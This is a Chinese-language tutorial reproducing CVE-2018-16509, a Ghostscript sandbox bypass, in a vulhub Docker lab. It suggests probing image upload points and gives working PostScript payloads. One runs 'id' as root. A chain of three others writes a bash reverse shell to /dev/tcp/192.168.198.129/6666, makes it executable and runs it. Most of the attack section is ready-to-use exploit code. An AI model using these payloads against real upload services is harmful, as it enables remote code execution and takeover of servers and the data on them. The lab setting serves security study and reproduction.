CVE-2018-16509 GhostScript 沙箱绕过(命令执行)漏洞
GhostScript:
Ghostscript 是一套基于 Adobe、PostScript 及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。
Ghostscript 可以查看及打印 PS、EPS、PDF 文件,支持 PS 的绘图程序一般都很大
以Postscript和PDF阅览器使用的栅格化影像处理器RIP引擎,GhostScript 被许多图片处理库所使用。
在文件上传过程中,有可能会用GhostScript来处理图片。所以在上传图片点可以试一下它是否存在这个漏洞
影响范围:
Ghostscript 9.24之前版本
漏洞成因:
在处理/invalidaccess异常时,程序没有正确的检测‘restoration of privilege(权限恢复)’。攻击者可通过提交特制的PostScript利用该漏洞执行代码
poc
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
漏洞复现
使用vulhub搭建靶场
进入靶场
- cd vulhub/ghostscript/CVE-2018-16509
开启靶场
- docker-compose up -d
查看靶场状态
- docker ps
POC
这里使用的是靶场自带的poc
也可以自己去网上找
可能利用点不一样,但思路都差不多
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
访问环境
可以看到一个上传点
上传我们的poc
将执行命令id > /tmp/success && cat /tmp/success
(将id这个命令写入到success这个文件中,并且查看这个文件)
成功返回id:root
进入容器的文件中发现success文件已经成功创建
反弹shell
因为这里能够创建文件,所以这里我们先创建一个shell文件
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%echo 'bash -i >& /dev/tcp/192.168.198.129/6666 0>&1' >> /tmp/shell.sh) currentdevice putdeviceprops
提交
再构造图片给shell.sh文件权限
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%chmod +x /tmp/shell.sh) currentdevice putdeviceprops
提交
反弹shell
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%/bin/bash /tmp/shell.sh) currentdevice putdeviceprops
开启监听端口
提交
关闭靶场
docker-compose down